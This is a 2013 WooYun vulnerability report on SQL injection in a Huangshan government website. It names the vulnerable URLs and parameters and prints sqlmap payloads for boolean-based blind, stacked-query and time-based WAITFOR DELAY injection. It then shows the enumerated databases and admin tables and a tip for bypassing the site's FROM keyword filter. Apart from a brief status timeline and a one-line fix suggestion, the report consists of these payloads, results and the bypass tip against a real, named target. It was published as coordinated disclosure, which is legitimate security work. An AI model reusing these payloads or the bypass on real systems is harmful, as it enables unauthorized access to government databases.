漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-040984
漏洞标题：黄山某政府网站sql注入漏洞
相关厂商：黄山某政府网
漏洞作者： 瞧瞧
提交时间：2013-10-25 17:21
修复时间：2013-12-09 17:22
公开时间：2013-12-09 17:22
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-10-25： 细节已通知厂商并且等待厂商处理中
2013-10-29： 厂商已经确认，细节仅向厂商公开
2013-11-08： 细节向核心白帽子及相关领域专家公开
2013-11-18： 细节向普通白帽子公开
2013-11-28： 细节向实习白帽子公开
2013-12-09： 细节向公众公开
简要描述：
黄山某政府网站sql注入漏洞，可获取后台信息等
详细说明：
http://web.huangshan.gov.cn/JA005/bbsDet.aspx?MsgId=20110729101116843311
http://web.huangshan.gov.cn/JA015/Home/Zwgk_List.aspx?typeid=0502&colid=0500 注入点colid
存在sql注入漏洞
漏洞证明：
Place: GET
Parameter: MsgId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: MsgId=20110729101116843311' AND 8449=8449 AND 'JGqZ'='JGqZ
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: MsgId=20110729101116843311'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: MsgId=20110729101116843311' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user: 'hsgov'
current user: 'site'
available databases [12]:
[*] hsgov
[*] huangshan_report
[*] LXGK
[*] master
[*] model
[*] msdb
[*] report_back
[*] ReportServer
[*] ReportServerTempDB
[*] site
[*] tempdb
[*] ZWGK
有多个库，直接用sqlmap不能获取，过滤了FROM，改为小写from即可。。。。。
Database: site
[29 tables]
+----------------------+
| Proposal_Info |
| Site_AdminGroup |
| Site_AdminGroupRight |
| Site_AdminGroupUser |
| Site_AdminRight |
| Site_Article |
| Site_ArticleRemark |
| Site_ArticleSpecial |
| Site_ArticleType |
| Site_Config |
| Site_Function |
| Site_LinkType |
| Site_Links |
| Site_Model |
| Site_MsgContent |
| Site_MsgType |
| Site_PublicOpinion |
| Site_RightTypes |
| Site_VisitedCount |
| Site_Vote |
| Site_VoteItems |
| Site_VoteText |
| Site_VoteType |
| V_PublicOpinion |
| V_Vote |
| V_VoteChlid |
| V_VoteChlid1 |
| V_VoteItem |
| sysdiagrams |
+----------------------+
修复方案：
输入过滤检查。。。。。
版权声明：转载请注明来源 瞧瞧@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-10-29 20:47
厂商回复：
最新状态：
暂无